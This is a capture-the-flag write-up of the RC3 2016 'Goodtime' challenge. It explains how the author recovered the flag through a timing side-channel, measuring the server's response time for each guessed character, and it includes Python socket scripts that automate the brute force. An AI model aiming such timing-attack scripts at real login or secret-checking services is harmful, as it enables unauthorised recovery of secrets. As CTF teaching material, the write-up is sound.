This is a misc challenge from RC3 2016. RC3 hosts a CTF every year and have been one of my favorite CTFs simply because it’s a lot easier than the DefCon qualifying CTFs. This challenge in particular was extremely long for a measly 150 points. It’s not very hard - just really annoying and inconsistent.
Goodtime - 150 -------------- The flag is not on the youtube video, the flag on there is someone trying to confuse you. Sorry. The flag is also longer than normal. https://www.youtube.com/watch?v=H7HmzwI67ec nc goodtime.ctf.rc3.club 5866 NOTE: there should be a prompt when you connect. if there isn't it went down so scream at me in IRC until I fix. author: wumb0
Like any person would - the first thing I did was view the YouTube video:
Obviously no clues here - it’s just a video of Carly Rae Jepson; However, I did notice some guy posted a fake flag in the comments. That gave me a good laugh. Next thing to do was check out the netcat connection.
After trying out the netcat server, we noticed the server took longer to respond when we input something in the flag format (RC3-2016-XXXX). Since the title of this challenge was called goodtime - I’m going to assume the exploit is a lineariation attack via response time. In other words, we’ll try to deduce the flag by comparing the response times of different inputs. I would assume the server checks the input - one character at a time. Thus an input of Apple have a shorter response time than RC simply because the server would check the A in Apple and stop - meanwhile the server would check R, then C then look for a 3 (to make RC3) in RC. Let’s validate this by creating a script and testing it out.
#!/usr/bin/env python import time import socket import re import sys timer = time.clock if sys.platform == 'win32' else time.time #host to connect to host="188.8.131.52" #the port with whatever u want port = 5866 #creating a socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #default values flag = "" highestTime = 0 attempt= "RC3-2016-" allowedChars = "klmnopqrstuvwxyz-ABCDEFGHIJKLMNOPQRSTUVWXYZ" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #start timer start = timer() #start connecction s.connect((host, port)) #Recover 2014 bytes of response and print data2 = s.recv(1024) print data2 print "Attempting: " + attempt #Send out flag s.send(attempt + '\n') #Read response data2 = s.recv(1024) #end timer print timer()-start
This script creates a socket and connects to the netcat server via the host and port provided. It then connects to the server using that socket and reads any incoming bytes. After which, we send our attempt on the flag. We wait for a response and print out the response time. This kind of socket scripting is useful when the server response is consistant. Here’s what it looks like in usage.
Since now we know it’s a linearization attack on response time, and the flag format is “RC3-2016-XXXXX”, we only need to solve the last line of the flag. To do this, we need to test every single character - like a brute-force attack - and check the reponse time:
Assuming we hit the right character - that response would be be quite larger than the other inputs. Thus we can save the character with the longest response time and assume that’s the next character in the flag. I automated this process in
#!/usr/bin/env python import time import socket import re import sys timer = time.clock if sys.platform == 'win32' else time.time host="184.108.40.206" #the port with whatever u want port = 5866 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #default values flag = ""; highestTime = 0; attempt= "" allowedChars = "abcdegfhijklmnopqrstuvwxyz-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()" for x in range(0,50): # Resets highestChar highestChar="" for x in allowedChars: #Creates attempt 1 attempt = flag + x #Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Start timer start = timer() #Connect to netcat s.connect((host, port)) #Recover response data2 = s.recv(1024) print data2 #Send flag print "Attempting: " + attempt s.send(attempt + '\n') #keep this to get the actual response data2 = s.recv(1024) #End timer time1 = timer()-start print "Time 1: " + str(time1) # print 'time taken ', timer()-start ,' seconds' if (timer()-start > highestTime): highestTime = timer()-start highestChar = x s.close() #attempt 2 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) start = timer() s.connect((host, port)) data2 = s.recv(1024) s.send(attempt + '\n') #keep this to get the actual response data2 = s.recv(1024) time2 = timer()-start print "Time 2: " + str(time2) # print 'time taken ', timer()-start ,' seconds' average = (time1+time2)/2 print "Average: " + str(average) if (average > highestTime): highestTime = average highestChar = x s.close() print "Adding [" + highestChar + "] to flag" flag = flag + highestChar; print "Current Flag: " + flag
Let’s check it out in use:
Combining both the automated and manual script, we were able to get the flag.
The hardest part was due to inconsistency in the netcat connection. Any new characters I received from my script, I had to triple check manually. 9/10 it was just a false positive due to the netcat connection. It might’ve been better if I was connected with a wired connection rather than WIFI. Luckily, it wasn’t so bad to guess some of the flag. When I saw the words itz-al, I already knew it was a Carly Rae reference - “It’s always a good time”. I manually input every version of always like alw4ys and alw@ys - one character at a time. Whenever the response time went up - I knew that was the correct character. The most trickiest part was after g00d-t1m. I thought I was done because I assumed the flag was itz alwayz a good time. I had to bruteforce the second 1 for t1m1ng. I had no clue why it was a 1 at the time only to realize an hour later it was timing and not time. Additionally, the last part of the flag - @tt@ck - threw me off because I assumed the last word in the flag would be alphanumeric. The last word took me atleast 3 hours because the server kept crashing and each flag I input had a response time of atleast 10 seconds. To brute force the @ it required all lowercase, uppercase, numbers, and punctuations - 10 seconds a piece. About 10 minutes if I was lucky the server didn’t crash. At last though I was able to get the flag.